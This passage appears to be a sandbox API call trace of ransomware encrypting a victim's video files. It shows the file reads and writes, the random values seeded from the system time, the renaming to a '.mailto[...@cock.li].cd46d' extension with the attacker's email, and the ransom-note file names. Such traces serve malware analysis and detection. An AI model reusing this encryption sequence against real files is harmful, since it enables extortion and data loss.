0x9af280 [0158.541] NtQuerySystemTime (in: CurrentTime=0xef7fb3c | out: CurrentTime=0xef7fb3c*=132174899331442000) returned 0x0 [0158.541] RtlRandomEx (in: Seed=0xef7fb48 | out: Seed=0xef7fb48) returned 0x2cec2458 [0158.541] RtlRandomEx (in: Seed=0xef7fb48 | out: Seed=0xef7fb48) returned 0x1b7c38c8 [0158.542] RtlRandomEx (in: Seed=0xef7fb48 | out: Seed=0xef7fb48) returned 0xc83161f [0158.542] RtlRandomEx (in: Seed=0xef7fb48 | out: Seed=0xef7fb48) returned 0x1197c631 [0158.542] RtlRandomEx (in: Seed=0xef7fb48 | out: Seed=0xef7fb48) returned 0x9296921 [0158.542] RtlRandomEx (in: Seed=0xef7fb48 | out: Seed=0xef7fb48) returned 0x607926b9 [0158.542] RtlRandomEx (in: Seed=0xef7fb48 | out: Seed=0xef7fb48) returned 0x4634b22f [0158.542] RtlRandomEx (in: Seed=0xef7fb48 | out: Seed=0xef7fb48) returned 0x5ade03cd [0158.542] RtlRandomEx (in: Seed=0xef7fb48 | out: Seed=0xef7fb48) returned 0x16e64597 [0158.542] RtlRandomEx (in: Seed=0xef7fb48 | out: Seed=0xef7fb48) returned 0x361b2cc5 [0158.542] RtlRandomEx (in: Seed=0xef7fb48 | out: Seed=0xef7fb48) returned 0x6b408e48 [0158.542] RtlRandomEx (in: Seed=0xef7fb48 | out: Seed=0xef7fb48) returned 0x53970c33 [0158.542] RtlRandomEx (in: Seed=0xef7fb48 | out: Seed=0xef7fb48) returned 0x17a7f304 [0158.542] RtlRandomEx (in: Seed=0xef7fb48 | out: Seed=0xef7fb48) returned 0x2599fe9f [0158.542] RtlRandomEx (in: Seed=0xef7fb48 | out: Seed=0xef7fb48) returned 0x36a4e938 [0158.542] RtlRandomEx (in: Seed=0xef7fb48 | out: Seed=0xef7fb48) returned 0x4d28d08f [0158.542] RtlRandomEx (in: Seed=0xef7fb48 | out: Seed=0xef7fb48) returned 0x23008be6 [0158.542] RtlRandomEx (in: Seed=0xef7fb48 | out: Seed=0xef7fb48) returned 0x6a1fe54 [0158.542] RtlRandomEx (in: Seed=0xef7fb48 | out: Seed=0xef7fb48) returned 0x441573f [0158.542] RtlRandomEx (in: Seed=0xef7fb48 | out: Seed=0xef7fb48) returned 0xc466004 [0158.542] RtlRandomEx (in: Seed=0xef7fb48 | out: Seed=0xef7fb48) returned 0x1c868e30 [0158.542] RtlRandomEx (in: Seed=0xef7fb48 | out: Seed=0xef7fb48) returned 0x3664a8a2 [0158.542] RtlRandomEx (in: Seed=0xef7fb48 | out: Seed=0xef7fb48) returned 0x36f1bf53 [0158.542] RtlRandomEx (in: Seed=0xef7fb48 | out: Seed=0xef7fb48) returned 0x28b72f66 [0158.542] RtlRandomEx (in: Seed=0xef7fb48 | out: Seed=0xef7fb48) returned 0xd3e778 [0158.542] RtlRandomEx (in: Seed=0xef7fb48 | out: Seed=0xef7fb48) returned 0x2ae04bb1 [0158.542] RtlRandomEx (in: Seed=0xef7fb48 | out: Seed=0xef7fb48) returned 0x6e6c74cb [0158.542] RtlRandomEx (in: Seed=0xef7fb48 | out: Seed=0xef7fb48) returned 0x104b786c [0158.542] RtlRandomEx (in: Seed=0xef7fb48 | out: Seed=0xef7fb48) returned 0x3b13bff8 [0158.542] RtlRandomEx (in: Seed=0xef7fb48 | out: Seed=0xef7fb48) returned 0x3232a1c3 [0158.542] RtlRandomEx (in: Seed=0xef7fb48 | out: Seed=0xef7fb48) returned 0xb6968e6 [0158.542] RtlRandomEx (in: Seed=0xef7fb48 | out: Seed=0xef7fb48) returned 0x79fb9532 [0158.553] ReadFile (in: hFile=0x16fc, lpBuffer=0x12c5a048, nNumberOfBytesToRead=0x3541, lpNumberOfBytesRead=0xef7fb38, lpOverlapped=0x0 | out: lpBuffer=0x12c5a048*, lpNumberOfBytesRead=0xef7fb38*=0x3541, lpOverlapped=0x0) returned 1 [0158.554] SetFilePointerEx (in: hFile=0x16fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.554] WriteFile (in: hFile=0x16fc, lpBuffer=0xd496048*, nNumberOfBytesToWrite=0x3541, lpNumberOfBytesWritten=0xef7fb34, lpOverlapped=0x0 | out: lpBuffer=0xd496048*, lpNumberOfBytesWritten=0xef7fb34*=0x3541, lpOverlapped=0x0) returned 1 [0160.841] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x93e450 [0160.841] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x93dfc8 [0160.842] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x93dfc8) returned 1 [0160.842] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd496048) returned 1 [0160.846] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c5a048) returned 1 [0160.847] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x972b18) returned 1 [0160.847] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d26b0) returned 1 [0160.847] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x1f) returned 0x93dfc8 [0160.848] SetFilePointerEx (in: hFile=0x16fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.848] WriteFile (in: hFile=0x16fc, lpBuffer=0x8ebe78*, nNumberOfBytesToWrite=0x103, lpNumberOfBytesWritten=0xef7fb9c, lpOverlapped=0x0 | out: lpBuffer=0x8ebe78*, lpNumberOfBytesWritten=0xef7fb9c*=0x103, lpOverlapped=0x0) returned 1 [0161.361] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8ebe78) returned 1 [0161.361] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x93dde8) returned 1 [0161.361] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x93e248) returned 1 [0161.361] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x93dfc8) returned 1 [0161.361] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x93e450) returned 1 [0161.361] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9af3e8) returned 1 [0161.361] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9aee98) returned 1 [0161.361] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9aedf8) returned 1 [0161.362] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xc4) returned 0x938cb8 [0161.362] wcscpy (in: _Dest=0x938cb8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\n3-6815jRnwJ8d\\M18aS.avi" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\n3-6815jRnwJ8d\\M18aS.avi") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\n3-6815jRnwJ8d\\M18aS.avi" [0161.362] wcscat (in: _Dest=0x938cb8, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\n3-6815jRnwJ8d\\M18aS.avi.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\n3-6815jRnwJ8d\\M18aS.avi.mailto[2Hamlampampom@cock.li].cd46d" [0161.362] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\n3-6815jRnwJ8d\\M18aS.avi.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0xef7fb54, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\n3-6815jRnwJ8d\\M18aS.avi.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0161.362] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xda) returned 0x8ebe78 [0161.363] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8ebe78) returned 1 [0161.363] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c72260) returned 1 [0161.363] NtQueryInformationFile (in: FileHandle=0x16fc, IoStatusBlock=0xef7fb60, FileInformation=0xef7fb38, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0xef7fb60, FileInformation=0xef7fb38) returned 0x0 [0161.363] NtSetInformationFile (FileHandle=0x16fc, IoStatusBlock=0xef7fb60, FileInformation=0xef7fb38, Length=0x28, FileInformationClass=0x4) returned 0x0 [0161.365] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x938cb8) returned 1 [0161.365] FlushFileBuffers (hFile=0x16fc) returned 1 [0161.431] CloseHandle (hObject=0x16fc) returned 1 [0161.432] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x8c) returned 0xd4b8700 [0161.432] wcscpy (in: _Dest=0xd4b8700, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\n3-6815jRnwJ8d\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\n3-6815jRnwJ8d\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\n3-6815jRnwJ8d\\" [0161.432] wcscat (in: _Dest=0xd4b8700, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\n3-6815jRnwJ8d\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\n3-6815jRnwJ8d\\CD46D-Readme.txt" [0161.432] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\n3-6815jRnwJ8d\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\n3-6815jrnwj8d\\cd46d-readme.txt")) returned 0x20 [0161.432] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4b8700) returned 1 [0161.432] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x943818) returned 1 Thread: id = 3921 os_tid = 0x118c [0156.167] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\n3-6815jRnwJ8d\\p1WXsKTAKn fj2w.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\n3-6815jrnwj8d\\p1wxsktakn fj2w.swf")) returned 0x20 [0156.973] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\n3-6815jRnwJ8d\\p1WXsKTAKn fj2w.swf", dwFileAttributes=0x20) returned 1 [0160.183] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\n3-6815jRnwJ8d\\p1WXsKTAKn fj2w.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\n3-6815jrnwj8d\\p1wxsktakn fj2w.swf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x324 [0160.183] GetFileSizeEx (in: hFile=0x324, lpFileSize=0xf37fd48 | out: lpFileSize=0xf37fd48*=31401) returned 1 [0160.183] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x7aa5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.183] ReadFile (in: hFile=0x324, lpBuffer=0xf37fccc, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xf37fcc8, lpOverlapped=0x0 | out: lpBuffer=0xf37fccc*, lpNumberOfBytesRead=0xf37fcc8*=0x4, lpOverlapped=0x0) returned 1 [0160.185] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.185] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9aef10 [0160.185] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9aefb0 [0160.185] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9aef38 [0160.185] NtQuerySystemTime (in: CurrentTime=0xf37fca8 | out: CurrentTime=0xf37fca8*=132174899347822000) returned 0x0 [0160.185] RtlRandomEx (in: Seed=0xf37fcb4 | out: Seed=0xf37fcb4) returned 0x4ddb7eb3 [0160.185] RtlRandomEx (in: Seed=0xf37fcb4 | out: Seed=0xf37fcb4) returned 0x1b2e2aef [0160.185] RtlRandomEx (in: Seed=0xf37fcb4 | out: Seed=0xf37fcb4) returned 0xd92048a [0160.185] RtlRandomEx (in: Seed=0xf37fcb4 | out: Seed=0xf37fcb4) returned 0xde58ba2 [0160.185] RtlRandomEx (in: Seed=0xf37fcb4 | out: Seed=0xf37fcb4) returned 0x488c15f0 [0160.185] RtlRandomEx (in: Seed=0xf37fcb4 | out: Seed=0xf37fcb4) returned 0x61fcf533 [0160.185] RtlRandomEx (in: Seed=0xf37fcb4 | out: Seed=0xf37fcb4) returned 0x7c34009a [0160.185] RtlRandomEx (in: Seed=0xf37fcb4 | out: Seed=0xf37fcb4) returned 0x2ad3cc94 [0160.185] RtlRandomEx (in: Seed=0xf37fcb4 | out: Seed=0xf37fcb4) returned 0x62e7695f [0160.185] RtlRandomEx (in: Seed=0xf37fcb4 | out: Seed=0xf37fcb4) returned 0x3666b3fa [0160.185] RtlRandomEx (in: Seed=0xf37fcb4 | out: Seed=0xf37fcb4) returned 0x7a172af2 [0160.185] RtlRandomEx (in: Seed=0xf37fcb4 | out: Seed=0xf37fcb4) returned 0x595afdfc [0160.185] RtlRandomEx (in: Seed=0xf37fcb4 | out: Seed=0xf37fcb4) returned 0x17b193e6 [0160.185] RtlRandomEx (in: Seed=0xf37fcb4 | out: Seed=0xf37fcb4) returned 0x6565421e [0160.185] RtlRandomEx (in: Seed=0xf37fcb4 | out: Seed=0xf37fcb4) returned 0x4b0c851a [0160.185] RtlRandomEx (in: Seed=0xf37fcb4 | out: Seed=0xf37fcb4) returned 0x50828162 [0160.185] RtlRandomEx (in: Seed=0xf37fcb4 | out: Seed=0xf37fcb4) returned 0x391ea3e5 [0160.185] RtlRandomEx (in: Seed=0xf37fcb4 | out: Seed=0xf37fcb4) returned 0x340eefb8 [0160.185] RtlRandomEx (in: Seed=0xf37fcb4 | out: Seed=0xf37fcb4) returned 0x5cb3b806 [0160.185] RtlRandomEx (in: Seed=0xf37fcb4 | out: Seed=0xf37fcb4) returned 0x56d2e6d4 [0160.185] RtlRandomEx (in: Seed=0xf37fcb4 | out: Seed=0xf37fcb4) returned 0x4228f10f [0160.185] RtlRandomEx (in: Seed=0xf37fcb4 | out: Seed=0xf37fcb4) returned 0x43c38f1 [0160.185] RtlRandomEx (in: Seed=0xf37fcb4 | out: Seed=0xf37fcb4) returned 0x7c49312c [0160.186] RtlRandomEx (in: Seed=0xf37fcb4 | out: Seed=0xf37fcb4) returned 0x31fbef08 [0160.186] RtlRandomEx (in: Seed=0xf37fcb4 | out: Seed=0xf37fcb4) returned 0x62ec2927 [0160.186] RtlRandomEx (in: Seed=0xf37fcb4 | out: Seed=0xf37fcb4) returned 0x31d0c81e [0160.186] RtlRandomEx (in: Seed=0xf37fcb4 | out: Seed=0xf37fcb4) returned 0x401967c8 [0160.186] RtlRandomEx (in: Seed=0xf37fcb4 | out: Seed=0xf37fcb4) returned 0x66a8a188 [0160.186] RtlRandomEx (in: Seed=0xf37fcb4 | out: Seed=0xf37fcb4) returned 0x1ffb5447 [0160.186] RtlRandomEx (in: Seed=0xf37fcb4 | out: Seed=0xf37fcb4) returned 0x4666115f [0160.186] RtlRandomEx (in: Seed=0xf37fcb4 | out: Seed=0xf37fcb4) returned 0x7bd879a1 [0160.186] RtlRandomEx (in: Seed=0xf37fcb4 | out: Seed=0xf37fcb4) returned 0x75d3831b [0160.199] ReadFile (in: hFile=0x324, lpBuffer=0x12db8128, nNumberOfBytesToRead=0x7aa9, lpNumberOfBytesRead=0xf37fca4, lpOverlapped=0x0 | out: lpBuffer=0x12db8128*, lpNumberOfBytesRead=0xf37fca4*=0x7aa9, lpOverlapped=0x0) returned 1 [0160.201] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.201] WriteFile (in: hFile=0x324, lpBuffer=0x12dc4930*, nNumberOfBytesToWrite=0x7aa9, lpNumberOfBytesWritten=0xf37fca0, lpOverlapped=0x0 | out: lpBuffer=0x12dc4930*, lpNumberOfBytesWritten=0xf37fca0*=0x7aa9, lpOverlapped=0x0) returned 1 [0160.604] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9aef38 [0160.604] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x945a50 [0160.604] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x945a50) returned 1 [0160.604] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12dc4930) returned 1 [0160.610] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12db8128) returned 1 [0160.617] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x93c260) returned 1 [0160.617] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d2818) returned 1 [0160.617] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x33) returned 0x93b278 [0160.617] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.617] WriteFile (in: hFile=0x324, lpBuffer=0x8f6f60*, nNumberOfBytesToWrite=0x117, lpNumberOfBytesWritten=0xf37fd08, lpOverlapped=0x0 | out: lpBuffer=0x8f6f60*, lpNumberOfBytesWritten=0xf37fd08*=0x117, lpOverlapped=0x0) returned 1 [0160.699] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f6f60) returned 1 [0160.700] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x93acb8) returned 1 [0160.700] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x945a50) returned 1 [0160.700] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x93b278) returned 1 [0160.700] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9aef38) returned 1 [0160.700] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9aefb0) returned 1 [0160.700] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9458c0) returned 1 [0160.700] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x945730) returned 1 [0160.700] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xd8) returned 0x93d048 [0160.700] wcscpy (in: _Dest=0x93d048, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\n3-6815jRnwJ8d\\p1WXsKTAKn fj2w.swf" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\n3-6815jRnwJ8d\\p1WXsKTAKn fj2w.swf") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\n3-6815jRnwJ8d\\p1WXsKTAKn fj2w.swf" [0160.700] wcscat (in: _Dest=0x93d048, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\n3-6815jRnwJ8d\\p1WXsKTAKn fj2w.swf.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\n3-6815jRnwJ8d\\p1WXsKTAKn fj2w.swf.mailto[2Hamlampampom@cock.li].cd46d" [0160.700] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\n3-6815jRnwJ8d\\p1WXsKTAKn fj2w.swf.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0xf37fcc0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\n3-6815jRnwJ8d\\p1WXsKTAKn fj2w.swf.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0160.700] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xee) returned 0x9bfec8 [0160.741] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9bfec8) returned 1 [0160.741] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x96d518) returned 1 [0160.741] NtQueryInformationFile (in: FileHandle=0x324, IoStatusBlock=0xf37fccc, FileInformation=0xf37fca4, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0xf37fccc, FileInformation=0xf37fca4) returned 0x0 [0160.741] NtSetInformationFile (FileHandle=0x324, IoStatusBlock=0xf37fccc, FileInformation=0xf37fca4, Length=0x28, FileInformationClass=0x4) returned 0x0 [0160.747] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x93d048) returned 1 [0160.747] FlushFileBuffers (hFile=0x324) returned 1 [0160.751] CloseHandle (hObject=0x324) returned 1 [0160.751] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x8c) returned 0x12c76620 [0160.751] wcscpy (in: _Dest=0x12c76620, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\n3-6815jRnwJ8d\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\n3-6815jRnwJ8d\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\n3-6815jRnwJ8d\\" [0160.751] wcscat (in: _Dest=0x12c76620, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\n3-6815jRnwJ8d\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\n3-6815jRnwJ8d\\CD46D-Readme.txt" [0160.752] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\n3-6815jRnwJ8d\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\n3-6815jrnwj8d\\cd46d-readme.txt")) returned 0x20 [0160.752] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c76620) returned 1 [0160.752] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c75878) returned 1 Thread: id = 3923 os_tid = 0x1194 [0156.167] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\n3-6815jRnwJ8d\\t0-OwULLMHE7ZOo_AtMd.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\n3-6815jrnwj8d\\t0-owullmhe7zoo_atmd.avi")) returned 0x20 [0156.972] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\n3-6815jRnwJ8d\\t0-OwULLMHE7ZOo_AtMd.avi", dwFileAttributes=0x20) returned 1 [0160.137] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\n3-6815jRnwJ8d\\t0-OwULLMHE7ZOo_AtMd.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\n3-6815jrnwj8d\\t0-owullmhe7zoo_atmd.avi"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1620 [0160.137] GetFileSizeEx (in: hFile=0x1620, lpFileSize=0xf05f7b0 | out: lpFileSize=0xf05f7b0*=68138) returned 1 [0160.137] SetFilePointerEx (in: hFile=0x1620, liDistanceToMove=0x10a26, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.137] ReadFile (in: hFile=0x1620, lpBuffer=0xf05f734, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xf05f730, lpOverlapped=0x0 | out: lpBuffer=0xf05f734*, lpNumberOfBytesRead=0xf05f730*=0x4, lpOverlapped=0x0) returned 1 [0160.139] SetFilePointerEx (in: hFile=0x1620, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.139] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9af050 [0160.139] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9af370 [0160.139] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9aeec0 [0160.139] NtQuerySystemTime (in: CurrentTime=0xf05f710 | out: CurrentTime=0xf05f710*=132174899347354000) returned 0x0 [0160.139] RtlRandomEx (in: Seed=0xf05f71c | out: Seed=0xf05f71c) returned 0x3d0a0029 [0160.139] RtlRandomEx (in: Seed=0xf05f71c | out: Seed=0xf05f71c) returned 0x40a8387a [0160.139] RtlRandomEx (in: Seed=0xf05f71c | out: Seed=0xf05f71c) returned 0x76f5cbbe [0160.139] RtlRandomEx (in: Seed=0xf05f71c | out: Seed=0xf05f71c) returned 0x4c3d9e7d [0160.139] RtlRandomEx (in: Seed=0xf05f71c | out: Seed=0xf05f71c) returned 0x4265980 [0160.139] RtlRandomEx (in: Seed=0xf05f71c | out: Seed=0xf05f71c) returned 0xe69fce [0160.139] RtlRandomEx (in: Seed=0xf05f71c | out: Seed=0xf05f71c) returned 0x5051457c [0160.139] RtlRandomEx (in: Seed=0xf05f71c | out: Seed=0xf05f71c) returned 0x6b4413b1 [0160.139] RtlRandomEx (in: Seed=0xf05f71c | out: Seed=0xf05f71c) returned 0x31b0b537 [0160.139] RtlRandomEx (in: Seed=0xf05f71c | out: Seed=0xf05f71c) returned 0x243d1ad2 [0160.139] RtlRandomEx (in: Seed=0xf05f71c | out: Seed=0xf05f71c) returned 0x4ba7ce67 [0160.139] RtlRandomEx (in: Seed=0xf05f71c | out: Seed=0xf05f71c) returned 0x7f3021e2 [0160.139] RtlRandomEx (in: Seed=0xf05f71c | out: Seed=0xf05f71c) returned 0x265fe34d [0160.139] RtlRandomEx (in: Seed=0xf05f71c | out: Seed=0xf05f71c) returned 0x74fcc9ae [0160.139] RtlRandomEx (in: Seed=0xf05f71c | out: Seed=0xf05f71c) returned 0x43c5c5d3 [0160.139] RtlRandomEx (in: Seed=0xf05f71c | out: Seed=0xf05f71c) returned 0x6f8984b6 [0160.139] RtlRandomEx (in: Seed=0xf05f71c | out: Seed=0xf05f71c) returned 0x7b89b503 [0160.139] RtlRandomEx (in: Seed=0xf05f71c | out: Seed=0xf05f71c) returned 0x65f69001 [0160.139] RtlRandomEx (in: Seed=0xf05f71c | out: Seed=0xf05f71c) returned 0x9cc5f4d [0160.139] RtlRandomEx (in: Seed=0xf05f71c | out: Seed=0xf05f71c) returned 0x7b340383 [0160.139] RtlRandomEx (in: Seed=0xf05f71c | out: Seed=0xf05f71c) returned 0x2dc1b437 [0160.139] RtlRandomEx (in: Seed=0xf05f71c | out: Seed=0xf05f71c) returned 0x7929901c [0160.139] RtlRandomEx (in: Seed=0xf05f71c | out: Seed=0xf05f71c) returned 0x5d55f61f [0160.140] RtlRandomEx (in: Seed=0xf05f71c | out: Seed=0xf05f71c) returned 0x2e62fffa [0160.140] RtlRandomEx (in: Seed=0xf05f71c | out: Seed=0xf05f71c) returned 0x20275dbe [0160.140] RtlRandomEx (in: Seed=0xf05f71c | out: Seed=0xf05f71c) returned 0x581e78f2 [0160.140] RtlRandomEx (in: Seed=0xf05f71c | out: Seed=0xf05f71c) returned 0x59fbcced [0160.140] RtlRandomEx (in: Seed=0xf05f71c | out: Seed=0xf05f71c) returned 0x73e620bc [0160.140] RtlRandomEx (in: Seed=0xf05f71c | out: Seed=0xf05f71c) returned 0x5e392c63 [0160.140] RtlRandomEx (in: Seed=0xf05f71c | out: Seed=0xf05f71c) returned 0x4370ba91 [0160.140] RtlRandomEx (in: Seed=0xf05f71c | out: Seed=0xf05f71c) returned 0xf15e1a1 [0160.140] RtlRandomEx (in: Seed=0xf05f71c | out: Seed=0xf05f71c) returned 0x2ce16132 [0160.152] SetFilePointerEx (in: hFile=0x1620, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.152] ReadFile (in: hFile=0x1620, lpBuffer=0x12d86108, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0xf05f6f0, lpOverlapped=0x0 | out: lpBuffer=0x12d86108*, lpNumberOfBytesRead=0xf05f6f0*=0xc800, 